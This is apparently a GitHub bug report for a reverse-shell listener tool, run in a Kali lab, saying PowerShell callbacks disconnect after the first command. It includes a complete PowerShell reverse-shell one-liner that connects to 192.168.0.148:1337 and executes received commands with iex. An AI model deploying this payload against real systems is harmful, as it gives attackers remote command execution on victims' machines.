Doesn't work with powershell call backs.

[cletifer]

Although it works just fine for Linux reverse shells, the system doesn't seem to handle a PowerShell-based reverse shell.

Steps to reproduce:

Installed it from pip on Kali (Kali 6.10.9-1kali1 (2024-09-09))

Run with a port option of 1337

Run a basic PowerShell reverse from my lab. To call back to MC:

$client = New-Object System.Net.Sockets.TCPClient('192.168.0.148',1337); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};

MC sees the connection come back.

tell it to start the session and give it the dir command (this causes a disconnect along with any other command)

However, that same Powershell script runs fine with NC as the listener.
